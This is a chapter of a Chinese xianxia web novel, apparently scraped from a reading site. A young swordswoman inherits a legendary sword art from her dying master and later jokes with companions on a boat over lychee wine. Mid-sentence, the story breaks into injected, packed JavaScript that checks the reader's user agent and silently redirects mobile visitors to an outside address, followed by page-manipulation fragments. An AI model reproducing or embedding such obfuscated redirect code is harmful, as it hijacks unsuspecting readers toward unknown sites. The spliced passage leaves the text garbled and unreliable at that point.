19. 荔枝
作品:《大师姐被逐出宗门以后》 云昭望着门口已不见的身影,还有些怅然若失。
南宫明夷拍拍手:“好了好了,又不是见不到了。”
“师娘,你要不要和我回天灵宗看看,师尊和萧乐之肯定很想你。”
“乐之还好吗?”
南宫明夷死的时候,萧乐之还在襁褓,加上她那时病重,身子虚弱,都没抱过这孩子几次,留下了个名字便撒手人寰了,如今想来只觉愧疚。
云昭想着萧乐之无忧无虑的傻样:“吃好喝好玩好,除了不能修炼以外,别的都挺滋润的。”
南宫明夷:“不能修炼?”
“是,他一直没办法感知灵气,师尊说他天生没有灵脉。”
南宫明夷沉默了会,轻声说:“小云昭,我应该快消散了,这个洞窟,有神意祝福,所以我能在这里待着,可现在,我坚持不了多少时间了。”
“师娘!!?”云昭怎么也没想到,和师娘的相处会这样短暂。而且,是她,因为她劈开石头才这样的......
南宫明夷隔空摸了摸云昭的脑袋:“在那之前,我想把飞凰衔花剑传给你,你愿意吗?”
云昭愣住了,飞凰衔花剑,是上古最强的剑法,唯有南宫家族血脉传承......
这应当是萧乐之来继承的剑法。
“你的天资很好,比我更好,未来一定会是剑道第一人......”南宫明夷的眼中渐渐泛上水光,“小云昭,叫我声师傅可好?不然,这剑法失传,我是如何都不能安心了。”
云昭当即跪地,落下泪来:“师傅!”
南宫明夷俯下身来,将手指轻贴额头,引出一团赤色的灵光,似火焰般滚烫。
她的身体显得愈发透明了。
南宫明夷勉力道:“我,唯有一愿......看不到我的孩子长大......”
云昭抬头,泪眼朦胧:“师傅,我发誓,我一定保护好萧乐之,若有人要伤他,杀他,我一定!”
南宫明夷止住了云昭的誓言,轻笑出声:“傻孩子,我传你功法,只是因为眼红你师尊有你这样优秀的徒弟,我也想有罢了,不是想要你如何报答到我儿子身上,他往后如何都是他的造化,不该成为你的负担。”
“我只希望,在他想我的时候,你能告诉他,我对不起他,还有......”
“我很爱他。”
云昭早已泣不成声,一阵灼热闯进她的身体,横冲直撞,她的心脏快要跳出来了,脑子”轰的一声“,有什么被塞了进来。
下一瞬,她失去了意识。
再睁眼,她趴在一个人的背上。他喘的十分夸张,仿佛要把肺呕出来了。
“萧乐之,我们在哪?“
一阵秋风扫落叶,身上是还带着水汽的寒冷。
萧乐之艰难地大喘气:“师姐你醒啦!你还说呢,你找个吃的怎么找这么久啊,还这么远。”
“我不在宗门里吗?”
“在啊,后山的池塘边上。”
“就这几步路被你说的还以为几千里呢......怎么找到我的?”
“师姐我算卦算的,厉害吧!你回去要请我吃好吃的,我要吃......拔丝藕丁!”
云昭:“......”
萧乐之满头大汗地说:“师姐,你流汗了吗......我怎么感觉肩膀湿湿的,你没动流什么汗啊。”
“少废话,等回了栖梧峰,以后每天早上,和我一起起床,锻炼身体!你怎么走这么点路就喘成这样?”
“师姐......上早课的时候都是我叫你的,不上早课的话你日上三竿才起,比我还晚,我还要吃早餐呢,你是直接吃中餐了。”
云昭埋头闷闷地说:“......那以后不上早课的时候你叫我。”
过了会她又说:“多吃肉,别总是吃甜的。”
萧乐之,好好长大吧。以后你会做宗主,我就做长老,我会尽我所能辅佐你,帮助你。
不过后来好长一阵时间,云昭和萧乐之都没能起早,因为她一回去就发烧晕了两天。这头她刚好,萧乐之又烧起来,甚至烧了快一个月。
疏于锻炼,真是疏于锻炼。
某次早课,云昭又逃了,栖梧峰上栽了许许多多的荔枝树。她窝在树上,一只黑鸟穿梭其中,用嘴不停地摘下荔枝再叼给云昭,云昭先用裙子兜住,再自己偷摸着吃。
她边吃边想着要怎么锻炼萧乐之,那个废柴不能用灵力,肩不能扛手不能提,蹲会马步就喊累拿个剑都手抽筋,躺了这么久,八十老叟都得痊愈了他还说没大好,真是娇气。
阳光很暖,荔枝很甜,吃着吃着云昭就睡着了,睡梦间眼前金光闪烁,灵力不断在全身经脉流转,在丹田积蓄、凝聚,到某一刻突然爆发,以云昭为圆心,一道强烈的灵力波动向四面八方荡开。
云昭结丹了,在她十二岁这年。
同门师弟师妹全都涌过来,把栖梧峰围得水泄不通。追着云昭问结丹心得,当时在练什么功法,云昭也实话实说:“我当时,在树上吃荔枝,吃着吃着,睡着了。”
“醒来就这样了。”
这话一传十十传百,栖梧峰犹如蝗虫过境,再找不到一颗荔枝。
***
“四位客官,本地特产的荔枝酒,看你们投缘,送你们一坛喝!”船夫拨了拨斗笠,声音爽朗。
青天绿水,云雾霭霭,一只小船缓缓行在其中,水声不绝。
梅灵霜接过,温柔道谢:“多谢船家。”
云昭“蹭”的坐起眼前一亮:“荔枝!我都快忘了这玩意儿啥味了!”
萧乐之拦着云昭伸过去的手,又不敢管教她,偷偷凑到梅灵霜耳边轻声道:“霜霜,绝对不能让师姐喝酒,她喝一点点都会发疯的,而且没人能看出来她喝醉了。”
看起来像正常人一样,做一些丧心病狂的事,最恐怖了。
“萧乐之,我没聋,这船就这么大点地儿。”
梅灵霜睁大了眼,低声道:“果酿也不行吗?”
“也不行!师姐上次喝了点梅子酿,训练了我一天一夜的健身操,我停下来就要打我,我到后面都哭,噢不是,都晕了,肌肉拉伤了!太过分,而且她还不承认,说没有这回事儿。”
云昭反驳:“你自己瞎说的吧,就是想偷懒!”
“霜霜你看她!那师姐你上上次把霜降峰的长老头发剃了算怎么回事儿,还说光头好,能发光,人家气的都闭关长头发去了,这可不是你说不记得就能抵赖的了的!”
云昭莫名又懊恼:“这个......好啦好啦我不喝就是了!”
“嘎!我要喝我要喝!”霸霸从云昭衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260321|197530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
襟里飞了出来,十分急切的用鸟嘴敲了敲酒坛子。
梅灵霜笑着给霸霸也倒了一碗,抬头问坐在船头一直不说话的谢回玉:“谢公子,来一碗吗?”
谢回玉眼眸低垂,道:“不用,宗规有训,在外行事不得饮酒。”
云昭好奇:“在宗门里就能喝了吗?”
谢回玉抬起眼睫,淡淡说:“也不可。”
云昭感叹:“你们的规矩好多噢,一看你的样子就知道了,你们宗门弟子是不是都和你一个模子刻出来的?”端庄古板正襟危坐的样子,看着就累人。
萧乐之插了一嘴:“不像我们宗门,宗规就一条,也没有着装约束,是吧师姐?”
云昭抬手:“打住,我现在可不是天灵宗的大师姐了,严格来说,我一条规矩都不需要守。”
但她没有制止萧乐之对她的称呼。因为实际上她不仅师承萧南沉,还师承南宫明夷,萧乐之确该称她师姐。
梅灵霜问:“你们的宗规是什么?”
萧乐之一看梅灵霜搭理他,顿时心花怒放,声音都放软了:“嘿嘿,我们宗门只一条宗规,就是‘犹未悔’。意思就是,嗯......不管做什么,都要抱着‘无论结果如何,我都不会后悔’的念想去做。”
梅灵霜若有所思的点头:“虽只有一条,但你们宗门的却是最难呢?”
萧乐之:“为何?”
梅灵霜:“如果遇到难两全的事,不管怎么做,都会留下缺憾吧。”
萧乐之:“要是我,那我就不选,听天由命吧!”
云昭偷偷将手伸向酒坛子,却不知道哪来的一股力把酒坛子吸走了。
云昭两眼冒火的望着在船头侧身对着他们的罪魁祸首谢回玉,转头又蛐蛐萧乐之:“胆小就直说,不过也用不上你作抉择,你就安生当个吉祥物就行了。”
萧乐之不服气,梗着脖子道:“那你怎么选?”
云昭毫不犹豫道:“人为什么要长两只手?不就是为了这也要,那也要,我就要两全。”
谢回玉闻言回头望了她一眼,被云昭精准地捕捉到了:“谢回玉你偷看我!是不是被我的深刻发言折服啦?”
这本来是一句随口调笑,结果谢回玉面无表情的接上了:“是啊。”
云昭想着这人真是个大好人,不让她的话掉地上,于是笑着一张脸往他那凑:“谢回玉,要是你陷入两难境地,你当如何?”
谢回玉把马上要被云昭摸着的酒坛子捞起,用灵力拖着送到梅灵霜他们面前,淡淡开口:“心之所向。”
梅灵霜接着酒坛子,给桌子上的空碗都满上,轻笑道:“这回答真不像谢公子。”
萧乐之看着一个两个都这么果断,眉毛一撇,低头闷了一口荔枝酒,甜滋滋的,他又忍不住笑了,脸颊上绽出两个纯美的梨窝。
随着太阳的升起,雾没有消散,反而愈加浓了,看不见两岸情形。
船尾的船夫听着他们的对话,将船篙轻轻一撑,泛起一圈圈涟漪:“几位客官,说得都挺好,之前也有一船客人讨论过类似的问题,答案和各位一模一样呢。”
萧乐之听到有人和他想的一样,顿觉觅到了知音,忙问船夫:“是嘛,多久以前?”
“大约一百年前吧。”
“噢,一百......一百年前??!”

